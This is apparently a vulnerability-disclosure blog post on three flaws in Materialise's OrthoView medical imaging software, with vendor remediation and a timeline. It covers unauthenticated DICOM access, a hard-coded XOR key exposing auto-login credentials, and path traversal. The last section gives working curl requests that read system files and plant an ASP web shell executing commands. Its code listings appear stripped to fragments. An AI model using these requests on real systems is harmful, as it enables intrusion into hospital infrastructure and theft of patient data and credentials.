When developing client/server applications, two things must be front of mind for the developer: never trust the client, and assume your adversary will have full knowledge of your wire protocol. Forgetting these things is the root of a series of vulnerabilities in an application called OrthoView, produced by Materialise. This software is used for orthopaedic planning. A doctor will import a DICOM image into the application, fit an orthopaedic template onto the image, then export the modified DICOM image back out. The import and export steps usually involve an external image management system, commonly referred to as a PACS (picture archiving and communication system).
Overall, Materialise was excellent to deal with throughout the disclosure process. I was in contact with their security team rather quickly and they were able to validate the vulnerabilities within a few days of reporting. They offered viable short term solutions while developing a patch, and went above and beyond by engaging a third party to probe the software for additional weaknesses.
The Vulnerabilities in this articles are all addressed by making configuration changes to the software deployment. Contact Materialise (at orthoviewsupport@materialise.co.uk) for proper remediation - do not take security advice from a blog.
A Quick DICOM Primer
DICOM (digital imaging and communications in medicine) is both a storage format and a network protocol. It’s the industry standard method of storing and transmitting any type of image produced by a diagnostic imaging device (e.g. an x-ray image, an ultrasound, CT, MRI, etc., usually referred to as a “modality”). We will ignore the storage format in this article, as only a basic understanding of the network protocol is necessary.
The DICOM protocol is used to push/pull images between PACS systems, modalities, and PACS workstations. Each participant has a predefined “AE title” (application entity). Optionally, DICOM can use TLS for transport security, or run in the clear. DICOM also optionally supports authentication using username/password, SAML assertion, or Kerberos. It is common to see unencrypted and unauthenticated DICOM between PACS systems and modalities - usually “secured” using an isolated network.
First Vulnerability: Client Side (DICOM) Authentication
With that background info out of the way - it should be clear that finding an open (no mTLS, no auth’n extensions) DICOM endpoint usually represents a misconfiguration. Let’s take a look at how OrthoView integrates with a PACS system. Most PACS systems feature some way to launch external tools with some context about which patient/image is currently being viewed. OrthoView’s integration point is a classic ASP page that embeds its GET parameters into a JNLP1 file as command line arguments to the main JAR file.
GET /?AUTOQUERYCONNECTION=TEST_QR&DICOMRETRIEVE=[0x0008][0x0050]:0012345&INTEGRATION=INT HTTP/1.1
Host: orthoview-server.contoso.com
Accept: */*
Let’s break down those GET parameters:
- AUTOQUERYCONNECTION
- OrthoView’s config file can define one or more DICOM server connections. This parameter defines which connection in the config file should be used.
- DICOMRETRIEVE
- This parameter is used to describe the predicate that should be used to locate the patient’s image. This is the “context” that is supplied by the PACS system. In the example given, the predicate should match images with an “accession number” (attribute ID 0x0008, 0x0050) with the value
0012345. - INTEGRATION
- Has a value of either
INTorSTD. Adds additional command line parameters to eventual JNLP launch.
So far, so good. From here, OrthoView authenticates the user (more on that in the next section), then downloads the images from the DICOM server. OrthoView’s server is configured with an instance of Pukka-J’s DICOM proxy server. The DICOM proxy server accesses the integrated PACS system via a secure channel, however no authentication is performed when accessing the server (CWE-603). Due to this, anyone who can discover the server address/port, and AE title can retrieve arbitrary images from the DICOM proxy. An adversary could discover the DICOM server by a simple port scan, then brute force the AE title (for example, by using nmap’s dicom-brute script).
Configuration
We could scan/brute force to find the DICOM proxy server - but the OrthoView client knows where to find the proxy server. On the server, this is configured in System.XML. The client must be retrieving this at startup, since JNLP applications do not require ahead of time client-side configuration. To prove this, I intercepted and decrypted the HTTPS traffic between the client and server during normal operation. During startup, we find many POST requests to /OrthoView/default.aspx. Each POST request consists of a one-line command with arguments, with the response containing the command’s result. The command and arguments are pipe delimited. I’ve extracted a log of all the requests placed during a typical application startup.
GETROOT
COMPAT
CREATE|/OrthoView/WK/
LOCKNW|/OrthoView/WK/System.OVL:System.OVL|1:12
EXISTS|WK/System.XML
EXISTS|WK/
FILE|WK/System.XML
UNLOCK|/OrthoView/WK/System.OVL:System.OVL
EXISTS|WK/UserAccounts.XML
EXISTS|WK/
FILE|WK/UserAccounts.XML
EXISTS|Logs/startuplog.txt
INFORMATION|Logs/startuplog.txt
WRITE|Logs/startuplog.txt:as|136 [2024-11-20 09:38:05,030] (DEBUG) >> Complete 75_RegistrySettingsStep_TASK
WRITE|Logs/startuplog.txt:as|139 [2024-11-20 09:38:05,063] (DEBUG) >> Start 74_SetLogRedaction_TASK
WRITE|Logs/startuplog.txt:as|126 [2024-11-20 09:38:05,059] (DEBUG) >> Complete 21_SetLogDestinations_TASK
WRITE|Logs/startuplog.txt:as|140 [2024-11-20 09:38:05,069] (DEBUG) >> Start 18_SoftwareCompatibility_TASK
WRITE|Logs/startuplog.txt:as|141 [2024-11-20 09:38:05,072] (DEBUG) >> Start 80_DicomLibary_TASK
We can observe nine distinct operation types: GETROOT, COMPAT, CREATE, LOCKNW, EXISTS, FILE, UNLOCK, INFORMATION, and WRITE. We’ll dig into the other operation types, but for now, we can clearly see the request for the configuration file. The response is a Java preferences XML document. Rather than share the raw XML, I’ve taken the liberty of transforming it to INI for easier reading.
We can see the values we are after - connect_ip, connect_port, and connect_aetitle. Given these, we can point our favorite DICOM client at the server and retrieve images. This flaw is classified as CWE-923: Improper Restriction of Communication Channel to Intended Endpoints.
What about those CRYPT:UTF-8// values? What are those hiding? We’re going to take a brief aside to decrypt one value, as the encryption algorithm will be necessary to expose the second vulnerability.
Don’t Design Your Own Cryptographic Algorithms
We know the following about the encrypted values in the config file:
- They do not change from one request to another.
- They must be decrypted before the user authenticates (since
access_control_listdictates authentication configuration). - Since no pre-configuration occurs on the client, the key must be shared via the same channel as the ciphertext.
Based on these three facts, we can deduce that the key must be stored within the application’s codebase. Searching the bytecode, we do indeed find a hard-coded 128-bit key (broken into two 64-bit values). The challenge is the encryption algorithm. It’s simple XOR encryption with a unique key derivation mechanism. The key’s value is based on the two 64-bit keys AND the length of the plaintext block. The two 64 bit keys are each used to initialize a separate SHA1 CSPRNG2, which we’ll call prng_a and prng_b. The nth byte of the key is calculated as follows, given that length is the length in bytes of the plaintext/ciphertext:
prng_a[n] ^ prng_b[n] ^ prng_a[length + n]
Let’s get our hands dirty and implement this algorithm. We could certainly just utilize the decryption routines directly from the application’s JAR files, however, we have no guarantee these routines will exist in future versions of OrthoView, nor do we have a guarantee they will continue to work on newer JDKs.
Bug-For-Bug Java Compatibility
Since we don’t want to depend on Java’s SHA1 CSPRNG continuing to produce the same sequence, we’ll reimplement Java 8’s SHA1 CSPRNG from scratch. The core of the algorithm is implemented as so:
=
=
=
yield
Java’s SecureRandom can use any user-specified digest function. It operates by digesting the state, then mixing the output of the digest with the state used to generate it (the update_state function). According to the documentation, update_state is supposed to be calculated as state(n + 1) = (state(n) + output(n) + 1) % (2 ^ 160), however, due to a bug, Java’s implementation of update_state doesn’t produce the exact correct value. This doesn’t affect the strength of SecureRandom, so the bug is ultimately meaningless, but we have to implement it nonetheless. The details of implementing this bug aren’t relevant here - see the full source listing for the implementation.
Sample Decryption
Let’s decrypt CA55839B. The ciphertext is four bytes, so we’ll need eight bytes of output from prng_a and four bytes of output from prng_b. Using the hardcoded keys, we generate the following sequences:
| 00 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | |
|---|---|---|---|---|---|---|---|---|
prng_a | A6 | 9E | 64 | AE | 90 | C4 | 48 | 6E |
prng_b | 88 | 7D | DA | 3E |
To calculate the first byte of the key, we XOR the first byte of prng_a and prng_b with the fifth byte of prng_a:
0xA6 ^ 0x90 ^ 0x88 = 0xBE
XOR’ing the key byte with the first byte of the ciphertext gives us the first byte of the plaintext:
0xBE ^ 0xCA = 0x74 // ASCII 't'
We repeat this for the remaining three bytes, giving the full four byte key, which we simply XOR with the ciphertext. After UTF-8 decoding this, we get the cleartext true. To ease along future decryptions, I defined a simple Python class for statefully generating an XOR key, given the length of the current block.
=
=
=
=
=
return
As we’ll see in the next section, this algorithm is also used to protect other data. We’ll be reusing these encryption routines.
Second Vulnerability: Client Side (Application) Authentication
In addition to System.XML, supplemental client configuration is hosted in a tree of .OVC files beneath the OrthoView/Config/ path. The client recursively retrieves these files. Here’s some sample content:
C9A85D82DA456EA5B2BF805260F334EA523F4E5FB74593393571
56CEB63F688BD9E4B4193165FB8638AEBA
265063014766423BBF1B8C29749A997553E6A2C813ECA064BE015B
8249565026C657FDB4517DB1EA830274D3029BD1804590
89C77307417F09353A6EFA2BAD23
DB66C2C9185F1056FE23A140FC076371D1EE2CCC8C80BC
1438E7B229BE570EF51AE7FE38FCEDA9483C8FCF50FA
8F6E2CCB7075349E0563F8039C4CABF2B1E0CBAD3A0F
7322B404E05F7FA9CA23FA62135FC25629C31BCB168AF7380E
F661A97FB713DB9F428E3EDF002EF49E31A27A58621C0187FC7E37
8A404CE4FA3166292B95C9809FA85AE0E676B11A273492
1EDA7AED4E2161AA9C7A4181B69C982B97166CB3BB2002D4
D448946BE8448A9EAE48DDA296C5ABE690E74288
C05C5694C104F04236ED95CC9C7CE4375A2FC4791C95BD94418A4EEE77
CC9F85A1C17D8D6BAECBABB4273E41C8A56049ACE265B3D01B47C5DD3B4BA416
We can clearly see the original newlines have been preserved in this file. As mentioned in the last section, OrthoView has a custom variable block length XOR encryption algorithm. Each line in this file is a block encrypted by this cipher. A different static key is used, however. We can decrypt the content using our key generator from the previous section, along with some simple glue code to split up the file into blocks.
=
=
=
=
=
return
Decrypting the content, we don’t find much of note:
However, what we’ve decrypted is only one of many files. To locate an decrypt them all, we must follow all links on /OrthoView/Config, recursively following any links that return any directory listings. The code for doing this is in the full source listing.
For this particular vulnerability, we are after two specific parameters - auto_username and auto_password. OrthoView offers a configurable automatic login system. Rather than simple ask the client not to perform authentication (since all authentication is performed client side, and thus, can be simply skipped), configuring this option stores the username and password of the automatic login user in one of these .OVC config files. Thus, in installations where automatic login is enabled, an adversary can retrieve these credentials and decrypt them using the static key (which, if it is not already known, can be found in the JAR files available for download from the OrthoView server). Since these credentials are passed to Active Directory by the OrthoView application, they must be valid Active Directory credentials. In the best case, this enables an adversary to obtain a foothold; in the worst case, these credentials may even hold privileges the adversary can abuse.
Third Vulnerability: OS Command Injection
Recall the commands discovered during traffic analysis - we focussed on using the FILE command to retrieve the contents of the config file in the intended manner. Note that the FILE command takes a relative path as its sole argument. We can use path traversal to read arbitrary files.
$ curl -X POST https://orthoview-server.contoso.com/OrthoView/default.aspx -d 'FILE|WK/../../../../Windows/win.ini'
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Going further, note the WRITE command near the end of the traffic. This command is used to perform logging, however, it appears capable of arbitrary write. If we were able to perform path traversal on the read endpoint, we are likely able to perform path traversal on the write endpoint.
$ curl -X POST https://orthoview-server.contoso.com/OrthoView/default.aspx \
-d 'WRITE|Logs/../../../WEB/Root/test.txt:as|test content'
OK
The server helpfully responds with “OK”, and we are able to retrieve test.txt. OrthoView is very particular about its directory layout, so there’s a high likelihood that we can predict the exact number of parent directories, as well as the location of the web root. If there was a change in layout, one could easily use the EXISTS command to probe for files/directories. To upgrade this arbitrary write into full remote code execution, we can drop an ASP file in the web root (or ASPX, or ASHX, etc. - OrthoView requires both ASP and ASP.NET enabled).
$ curl -X POST https://orthoview-server.contoso.com/OrthoView/default.aspx \
-d 'WRITE|Logs/../../../WEB/Root/test.asp:as|<%response.write CreateObject("WScript.Shell").Exec("cmd /c dir").StdOut.Readall()%>'
OK
After we’ve dropped our ASP file, we can retrieve it to set off the command encoded within. The dir command was specified as a dummy payload - I’ve trimmed the output for brevity’s sake.
$ curl -X GET https://orthoview-server.contoso.com/test.asp
Volume in drive C has no label.
Volume Serial Number is D840-3749
Directory of c:\windows\system32\inetsrv
10/11/2024 02:18 PM .
11/20/2024 10:04 PM ..
05/03/2023 02:04 PM 143,360 appcmd.exe
05/08/2021 03:16 AM 3,940 appcmd.xml
... SNIP ...
10/11/2024 02:16 PM 45,056 w3wp.exe
10/11/2024 02:16 PM 102,400 w3wphost.dll
10/11/2024 02:16 PM 53,248 wbhstipm.dll
10/11/2024 02:16 PM 49,152 wbhst_pm.dll
10/11/2024 02:16 PM 188,416 XPath.dll
10/11/2024 02:18 PM zh-CN
10/11/2024 02:18 PM zh-TW
63 File(s) 8,847,724 bytes
14 Dir(s) 61,316,780,032 bytes free
Vendor Response & Remediation
Materialise’s response was rapid: all three of these vulnerabilities can be mitigated by configuration changes. They immediately moved to contact customers and support them through making configuration changes. At publication time, Materialise was able to mitigate these flaws at all supported customer sites.
The first vulnerability can be remediated by reconfiguring OrthoView to use SMB to transfer DICOM images. The transfer share will use domain or workgroup authentication to ensure only authorized users are able to retrieve images.
The second vulnerability is remediated by disabling automatic login. The other authentication modes in the application do not suffer the same flaws.
CVE-2025-23049 can be remediated by disabling the servelet functionality within OrthoView. It mostly exists as a diagnostic/support tool. Administrators should rely on their existing RMM tools to serve this function.
- November 20th, 2024
- Vulnerabilities reported to Materialise
- November 22nd, 2024
- Vulnerabilities acknowledged by Materialise
- January 15th, 2025
- Remediation at customer sites begins
- February 18th, 2025
- Initial embargo passes. Extended to facilitate remediation at more customer sites.
- June 23rd, 2025
- Public disclosure
Materialise has additionally, shared the following response:
At Materialise, we prioritize the security and reliability of our products and value the responsible disclosure of vulnerabilities. We greatly appreciate Joe Dillon for identifying and reporting this issue, allowing us to improve OrthoView for all users.
The vulnerability pertains to a flaw in the servlet sharing implementation which enabled the upload and execution of potentially malicious content. After confirming Joe’s results and performing a root cause analysis, we have since disabled the servlet sharing implementation and generated instructions to enable a more secure implementation with comparable functionality, which is now available to our customers. Additionally, we provided interim guidance to mitigate risks while the fix was being prepared.
Technically, the issue was caused by a directory traversal flaw allowing for anonymous uploads of content to anywhere on a host system and resolved by requiring authenticated uploads to a predefined location. Customers can find further details in our security advisory. We encourage all users to contact orthoviewsupport@materialise.co.uk to ensure they are running in a secure configuration and refer to our publicly available resources for more information.
We remain committed to transparency and proactive security measures, working closely with the broader security community. For more information on our commitment to security and reliability of our products, including a link to our responsible disclosure policy, please visit https://www.materialise.com/en/about/information-security. If you have additional questions or concerns, please contact us at orthoviewsupport@materialise.co.uk.
There have been many attempts over the years to provide developers with a method for “converting” their application into a web application with little to no code changes (see XBAP, ClickOnce, and ActiveX). These technologies are fundamentally insecure - the sooner we can leave them behind, the better off we will all be. ↩
Any seedable random number generator can be turned into a stream cipher by applying a bitwise XOR between each byte of the cleartext and the random number stream. Used in this manner, the seed of the RNG becomes the key to the stream cipher. So long as the random number generator’s seed is sufficiently large, and its output is sufficiently indistinguishable from random noise, the resulting stream cipher is usually secure (but likely not performant). It would be unwise, however, to leave the implementation of this RNG up to the OS, language runtime, or standard library. Few of these make any guarantee that a given seed will continue to produce the same sequence of random numbers across every patch, major, and minor release. Such stream ciphers likely have not had the same level of cryptanalytic testing as purpose built stream ciphers. ↩